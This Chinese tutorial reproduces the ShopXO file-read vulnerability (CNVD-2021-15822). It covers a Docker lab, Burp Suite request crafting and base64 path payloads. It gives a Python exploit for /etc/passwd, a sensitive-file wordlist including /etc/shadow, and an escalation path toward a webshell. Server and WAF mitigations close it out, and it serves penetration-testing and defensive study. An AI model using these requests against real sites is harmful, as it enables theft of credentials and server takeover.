ShopXO电商系统文件读取漏洞复现:从零搭建到漏洞利用(附Burp抓包技巧)
ShopXO电商系统文件读取漏洞实战解析:环境搭建与Burp Suite高级利用技巧
1. 漏洞背景与原理深度剖析
ShopXO作为国内流行的开源电商系统,其文件读取漏洞(CNVD-2021-15822)本质上源于路径控制机制的缺失。当系统处理二维码下载功能时,未对用户输入的base64编码参数进行严格过滤,导致攻击者可通过构造特殊请求读取服务器任意文件。
漏洞核心触发点:
- 路由定位:
/public/index.php?s=/index/qrcode/download/url/ - 参数处理:对
url参数直接进行base64解码后作为文件路径 - 安全缺陷:未校验文件路径是否在允许访问的白名单范围内
提示:该漏洞属于典型的"路径遍历"类型,在Web应用漏洞中占比约12.3%(根据2023年OWASP统计)
常见敏感文件路径示例:
| 文件类型 | Linux路径示例 | Windows路径示例 |
|---|---|---|
| 系统配置 | /etc/passwd | C:\Windows\System32\drivers\etc\hosts |
| 网站日志 | /var/log/apache2/access.log | C:\xampp\apache\logs\access.log |
| 数据库配置 | /app/config/database.php | C:\shopxo\application\database.php |
2. 实验环境搭建全流程
2.1 基础环境准备
推荐使用Docker快速搭建漏洞复现环境,避免污染本地系统:
# 拉取官方镜像(以v2.3.0漏洞版本为例) docker pull shopxo/shopxo:2.3.0 # 启动容器 docker run -d --name shopxo_vuln -p 8080:80 shopxo/shopxo:2.3.0 # 验证安装 curl http://localhost:8080 | grep "ShopXO"若需要更真实的测试环境,可手动安装完整LAMP环境:
下载漏洞版本源码包:
wget https://github.com/shopxo/shopxo/archive/refs/tags/v2.3.0.zip unzip v2.3.0.zip配置数据库:
CREATE DATABASE shopxo CHARACTER SET utf8mb4; GRANT ALL PRIVILEGES ON shopxo.* TO 'shopxo'@'localhost' IDENTIFIED BY 'YourPassword123!';修改文件权限:
chmod -R 755 /var/www/shopxo chown -R www-data:www-data /var/www/shopxo
2.2 常见安装问题排查
- PHP扩展缺失:确保安装gd、pdo_mysql、openssl等扩展
- 目录不可写:runtime目录需写权限(chmod -R 777 runtime)
- 数据库连接失败:检查MySQL用户权限和防火墙设置
3. Burp Suite高级利用技巧
3.1 请求拦截与修改
- 配置Burp代理(默认127.0.0.1:8080)
- 浏览器访问ShopXO首页并拦截请求
- 发送请求到Repeater模块进行深度测试
关键请求构造示例:
GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1 Host: vulnerable-site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept-Encoding: gzip, deflate Connection: close3.2 编码转换技巧
Burp的Decoder模块支持多种编码方式转换:
- 原始路径:/etc/passwd
- Base64编码:
echo -n "/etc/passwd" | base64→ L2V0Yy9wYXNzd2Q= - URL编码:
%2F%65%74%63%2F%70%61%73%73%77%64
编码对照表:
| 编码类型 | 输入示例 | 输出示例 |
|---|---|---|
| Base64 | /etc/shadow | L2V0Yy9zaGFkb3c= |
| URL | ../../config.php | %2E%2E%2F%2E%2E%2F%63%6F%6E%66%69%67%2E%70%68%70 |
| Hex | admin | 61646d696e |
3.3 利用Intruder模块爆破路径
设置攻击类型为"Sniper"
添加payload位置:
/public/index.php?s=/index/qrcode/download/url/§payload§加载常见敏感文件字典:
/etc/passwd /etc/shadow /proc/self/environ ../../application/config.php配置Grep Match标记成功响应(如"root:"、"<?php"等特征)
4. 漏洞防御与修复方案
4.1 临时缓解措施
在application/config/route.php中添加路由过滤规则:
Route::rule('qrcode/download', function() { $url = input('url'); if (!preg_match('/^[a-zA-Z0-9\/\.\-_]+$/', base64_decode($url))) { return json(['code'=>400, 'msg'=>'非法请求']); } // 原处理逻辑 });4.2 官方补丁升级
下载最新版本:
wget https://github.com/shopxo/shopxo/releases/download/v2.4.0/shopxo_v2.4.0.zip比较关键修改文件:
- application/index/controller/Qrcode.php
- public/static/js/qrcode.js
升级后验证:
diff -u application/index/controller/Qrcode.php.old application/index/controller/Qrcode.php
4.3 服务器层防护
Nginx配置示例:
location ~* /qrcode/download { if ($args ~* "url=[^&]*\.\.") { return 403; } }Apache的.htaccess规则:
RewriteCond %{QUERY_STRING} url=.*\.\. [NC] RewriteRule ^public/index\.php - [F]5. 渗透测试实战案例
在某次授权测试中,我们通过以下步骤成功利用该漏洞:
信息收集:发现目标使用ShopXO系统(通过favicon.ico和robots.txt确认)
版本识别:访问
/public/static/js/common.js查看文件注释版本号漏洞验证:
import requests import base64 url = "http://target.com/public/index.php" params = { 's': '/index/qrcode/download/url/' + base64.b64encode(b"/etc/passwd").decode() } r = requests.get(url, params=params) print(r.text[:100])权限提升:通过读取数据库配置文件获取MySQL凭据
横向移动:利用数据库管理功能执行系统命令
典型渗透路径:
- 读取
/app/config/database.php→ 获取数据库密码 - 导出管理员表数据 → 破解密码哈希
- 登录后台寻找文件上传点 → 获取Webshell
6. 漏洞研究进阶方向
变异漏洞挖掘:
- 测试其他可能存在类似问题的控制器(如文件导出、模板下载等功能)
- 尝试不同的编码组合(双重编码、UTF-7等)
自动化检测脚本:
def check_vuln(url): test_file = base64.b64encode(b"/etc/hosts").decode() try: r = requests.get(f"{url}/public/index.php", params={'s': f'/index/qrcode/download/url/{test_file}'}, timeout=5) return "127.0.0.1" in r.text except: return False流量特征分析:
- 正常请求:
/public/index.php?s=/index/index/index - 攻击请求:包含
/qrcode/download/url/和base64参数
- 正常请求:
在真实测试环境中,建议使用Burp的Logger++插件记录所有测试流量,便于后续分析和报告编写。对于防御方,可在WAF中设置如下规则:
- 检测URI中包含
qrcode/download - 检查url参数是否为有效的base64格式
- 阻断解码后包含
../等路径遍历特征的请求
